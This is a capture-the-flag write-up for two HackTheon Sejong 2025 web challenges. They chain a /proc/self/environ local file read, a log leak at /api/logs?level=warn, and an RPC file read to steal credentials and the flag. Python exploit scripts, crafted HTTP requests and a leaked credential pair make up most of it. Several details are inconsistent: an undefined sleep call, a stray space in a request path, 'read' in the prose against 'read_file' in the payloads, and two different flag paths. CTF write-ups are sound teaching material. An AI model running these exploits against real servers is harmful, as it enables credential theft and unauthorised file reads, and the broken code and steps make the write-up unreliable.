# HACKTHEON SEJONG 2025

> Last weekend to be specific (26 April 2025), I’m joining the ‘2025 HackTheon Sejong’ International University Students’ Cyber Security Competition <https://hacktheon.org/eng/info.php>. My team name as “RE:UN10N Jr.”. It was really tough an totallyu differnet compare to last year challenge. We manage to secure 20th. Thanks to my teammate for carrying. (benkyou, Capang, hikki).

## Frontdoor 1

***

### **Challenge Information**

* **Category:** Web
* **Difficulty:** Easy
* **Objective:** Exploit web vulnerabilities to retrieve the flag.
* **Tag:** LFI
* Flag: <mark style="color:yellow;">FLAG{Me7Hod\_Ch4iN1nG\_1s\_5o\_COoo0Oo00oO0ol}</mark>

***

### **Overview**

The challenge provides **source code** along with a `docker-compose.yaml` file. Within this YAML configuration, user credentials are exposed, which can be used to log in via the `/api/signin` endpoint. After successful authentication, the **flag** is accessible at the `/api/flag` endpoint, using the same session.

However, while credentials are included in the provided files, the **live challenge server** uses different credentials. Thus, the real goal of the challenge is to **leak the credentials** from the server’s runtime environment.

### Observed API Functionalities

The following functionalities were observed:

<table><thead><tr><th>Endpoint</th><th>Method</th><th>Handler</th><th width="363.6666259765625">Description</th></tr></thead><tbody><tr><td><code>/api</code></td><td>GET</td><td><code>get_root_handler</code></td><td>Retrieves basic API information or a welcome message.</td></tr><tr><td><code>/api/health-check</code></td><td>GET</td><td><code>get_health_check_handler</code></td><td>Health check endpoint to verify server uptime and status.</td></tr><tr><td><code>/api/logs</code></td><td>GET</td><td><code>get_logs_handler</code></td><td>Fetch server logs. Supports <code>level</code> query parameter to control verbosity (e.g., error, warn, info, debug).</td></tr><tr><td><code>/api/monitor/{info}</code></td><td>GET</td><td><code>get_monitor_handler</code></td><td>Reads specified system files (like <code>/proc/stat</code>, <code>/proc/meminfo</code>, etc.) based on <code>info</code> argument.</td></tr><tr><td><code>/api/signin</code></td><td>POST</td><td><code>post_signin_handler</code></td><td>Allows users to authenticate with username and password.</td></tr><tr><td><code>/api/flag</code></td><td>GET</td><td><code>get_flag_handler</code> (protected by middleware)</td><td>Retrieves the challenge flag after successful authentication.</td></tr></tbody></table>

{% hint style="info" %}

* Accessing `/api/flag` Requires **valid authentication**, enforced by the middleware `middlewares::authorize`.
* The `/api/logs` endpoint supports log level selection through a query parameter (`?level=warn`, `?level=info`, etc.), which is key to leaking internal warnings.
* The `/api/monitor/{info}` The endpoint has file-read logic tied to `/proc/`, but improperly handled unknown paths are logged, leading to information disclosure.
  {% endhint %}

### Initial Analysis

In the provided Rust source code `monitor.rs`, we find that the endpoint `/api/monitor/{info}` handles requests for different types of system monitoring information.

#### The `alias` function maps specific keywords to files inside `/proc/`:

```rust
fn alias(info: &str) -> Option<String> {
    match info {
        "cpu" => Some("stat".to_string()),
        "mem" => Some("meminfo".to_string()),
        "idle-time" => Some("uptime".to_string()),
        _ => None,
    }
}
```

{% hint style="info" %}

* Maps friendly names (`cpu`, `mem`, `idle-time`) to specific filenames under `/proc/`.
* If an unknown `info` is provided, it **falls back to using `info` as-is**, allowing arbitrary file requests inside `/proc`.
  {% endhint %}

#### File Path Validation

```rust
let file_path = match PathBuf::from("/proc")
    .join(alias(&info).unwrap_or(info.clone()))
    .canonicalize()
    
if !file_path.starts_with("/proc") || !file_path.is_file() {
    return (StatusCode::BAD_REQUEST, "Invalid argument").into_response();
}

let comps: Vec<_> = file_path.components().collect();
if comps.len() > 4 {
    return (StatusCode::BAD_REQUEST, "Invalid argument").into_response();
}
```

{% hint style="info" %}

* Tries to **resolve the absolute path** under `/proc/`.
* If canonicalization fails, an error is returned.
* Path must still start with `/proc` after canonicalization.
* Must be a **file**, not a directory.
  {% endhint %}

#### **Bypass Trick:**

Using `/proc/self/...` works because `/proc/self` is a **special symlink** pointing to the current process's `/proc/[pid]`, satisfying the PID check **indirectly**.

This allows reading files like environ **without knowing the real PID**.:

```ruby
/proc/self%2fenviron
```

### Logging vulnerability

```rust
rustCopyEditasync fn parse_content(info: &str, content: &str) -> String {
    match info {
        "uptime" => parse_uptime(content),
        "idle-time" => parse_idle_time(content),
        "cpu" => parse_cpu(content),
        "mem" => parse_mem(content),
        _ => {
            tracing::warn!("Unknown info type: '{}', content '{}'", info, content);
            String::new()
        }
    }
}
```

* If `info` is **not recognized**, it **logs** the full `info` and the file `content` at `warn` level.

## Full Exploitation Flow:

1. Read environment variables:

   ```html
   GET /api/monitor/self%2fenviron
   ```
2. The environment file contents are logged as a warning.
3. Fetch leaked logs:

   ```html
   GET /api/logs?level=warn
   ```
4. Extract leaked credentials from the environment variables.
5. Authenticate  `/api/signin` and retrieve the flag from `/api/flag`.

Full Script.

```python
import requests
import time

BASE_URL = "http://localhost:8080"  
session = requests.Session()

def trigger_log_injection():
    print("Triggering log injection")
    resp = session.get(f"{BASE_URL}/api/monitor/self%2fenviro n")
    if resp.status_code == 200:
        print("Done.")
    else:
        print("Error.")
        print(f"Status code: {resp.status_code}, Response: {resp.text}")

def fetch_leaked_logs():
    print("See Logs")
    resp = session.get(f"{BASE_URL}/api/logs?level=warn")
    if resp.status_code == 200:
        print("[+] Logs fetched successfully.")
        print("\n=== Leaked Log Content Start ===\n")
        print(resp.text)
        print("\n=== Leaked Log Content End ===\n")
    else:
        print("[-] Failed to fetch logs.")
        print(f"Status code: {resp.status_code}, Response: {resp.text}")

def login_and_get_flag(username, password):
    print(f"[*] Login: {username}")
    data = {
        "username": username,
        "password": password
    }
    resp = session.post(f"{BASE_URL}/api/signin", json=data)
    if resp.status_code == 200:
        print("[+] Login successful!")
        fetch_flag()
    else:
        print("[-] Login failed.")
        print(f"Status code: {resp.status_code}, Response: {resp.text}")

def fetch_flag():
    print(" FLAG Retrieve.")
    resp = session.get(f"{BASE_URL}/api/flag")
    if resp.status_code == 200:
        print("[+] Flag retrieved successfully!")
        print(f"Flag: {resp.text}")
    else:
        print("[-] Failed to retrieve the flag.")
        print(f"Status code: {resp.status_code}, Response: {resp.text}")

def main():
    trigger_log_injection()
    sleep(5)
    fetch_leaked_logs()
    print("[*] Now manually input the leaked username and password you found in the logs.")
    username = input("Username: ").strip()
    password = input("Password: ").strip()
    login_and_get_flag(username, password)

if __name__ == "__main__":
    main()

```

<figure><img src="https://175785160-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fv5xJ9SHBm6KJIr4fPHYU%2Fuploads%2FyLXZhIpzBTDkaN7TawW2%2Fimage.png?alt=media&#x26;token=75ac2f7e-19ce-42a9-a73b-5d5f39c8bb38" alt=""><figcaption></figcaption></figure>

## Frontdoor 2

***

### **Challenge Information**

* **Category:** Web
* **Difficulty:** Easy
* **Objective:** Exploit web vulnerabilities to retrieve the flag.
* **Tag:** LFI

### Challenge Overview

This challenge builds directly on the techniques from **Frontdoor 1**.\
However, this time:

* There is **no `/api/flag`** endpoint.
* A new RPC system is introduced via the `/api/rpc` endpoint.
* The objective is to **read the flag file** on the server via the RPC system after logging in.

***

### Step-by-Step Solution

#### 1. Credential Leak via `/proc/self/environ`

The first step remains identical to Frontdoor 1:

* **Trigger a log injection** using:

  ```
  GET /api/monitor/self%2fenviron
  ```
* **Fetch the leaked logs**:

  ```
  GET /api/logs?level=warn
  ```
* Extract the credentials from the leaked environment variables.

**Credentials used**:\
\&#xNAN;*(Same as Frontdoor 1 credentials — e.g., `s3cre7Guest1:G#3stAcc3ss!25`)*

***

#### 2. Login to the Application

Using the leaked credentials:

* **Login** via:

  ```
  POST /api/signin
  Content-Type: application/json

  {
    "username": "s3cre7Guest1",
    "password": "G#3stAcc3ss!25"
  }
  ```
* A session is established upon successful login.

***

#### 3. Interacting with `/api/rpc`

The `/api/rpc` endpoint allows **remote method invocation**.\
It is controlled by the `rpc.rs` server-side code, specifically the `append_session_dir()` function.

***

### Key Analysis of `rpc.rs`:

```rust
rustCopyEditasync fn append_session_dir(session: &Session, body: &mut PostRpcBody) -> bool {
    let dir = match session.get::<PathBuf>("dir").await {
        Ok(Some(dir)) => dir,
        _ => return false,
    };

    let method = body.method.as_str();
    if method == "close" || method == "read" || method == "write" || method == "exit" {
        return true;
    }

    if body.params.is_empty() || body.params[0].param_type != 1 {
        return false;
    }

    let path = match &body.params[0].value {
        ParameterValue::Int(_) => return false,
        ParameterValue::Str(s) => dir.join(s),
    };

    if !path.is_absolute() || path.is_symlink() {
        return false;
    }

    body.params[0].value = ParameterValue::Str(path.to_str().unwrap().to_string());

    true
}
```

**What this does:**

* If the **method** is `close`, `read`, `write`, or `exit`, **no path modification** is done.
* Otherwise, it **forces** any file path passed into an absolute path under the user's **session directory** (stored under `session.get::<PathBuf>("dir")`).
* It **rejects** symbolic links and non-absolute paths.

✅ So, if we stick to **method = `read`**, we can avoid path modification!

***

### 4. Final Exploitation - Reading the Flag

Since `read` is one of the **allowed methods without directory patching**, we can directly request the flag file.

Assuming the flag file is something standard like `/flag`, or otherwise known, we craft the RPC call:

#### POST `/api/rpc`

```http
POST /api/rpc
Content-Type: application/json

{
  "method": "read_file",
  "params": [
    {
      "type": 1,
      "value": "/flag"
    }
  ]
}
```

**Result:**

* If successful, the server reads `/flag` and returns its content — the flag.

***

### Full Exploitation Summary:

1. Trigger an environment variable leak via `/api/monitor/self%2fenviron`.
2. Fetch and read leaked logs via `/api/logs?level=warn`.
3. Extract credentials and login at `/api/signin`.
4. Use `/api/rpc` with the `read` method and target `/flag` to retrieve the flag.

***

## Script

```python
import requests
import time

BASE_URL = "http://localhost:8080" 
session = requests.Session()

def trigger_log_injection():
    session.get(f"{BASE_URL}/api/monitor/self%2fenviron")

def fetch_leaked_logs():
    time.sleep(5)
    resp = session.get(f"{BASE_URL}/api/logs?level=warn")
    print(resp.text)

def login(username, password):
    resp = session.post(f"{BASE_URL}/api/signin", json={"username": username, "password": password})
    return resp.status_code == 200

def read_flag():
    payload = {
        "method": "read_file",
        "params": [
            {
                "type": 1,
                "value": "/app/flag"
            }
        ]
    }
    resp = session.post(f"{BASE_URL}/api/rpc", json=payload)
    print(resp.text)

def main():
    trigger_log_injection()
    print("[*] Waiting and fetching logs...")
    fetch_leaked_logs()
    
    username = input("Username from leak: ").strip()
    password = input("Password from leak: ").strip()
    
    if login(username, password):
        print("[+] Login successful, reading flag...")
        read_flag()
    else:
        print("[-] Login failed.")

if __name__ == "__main__":
    main()
```
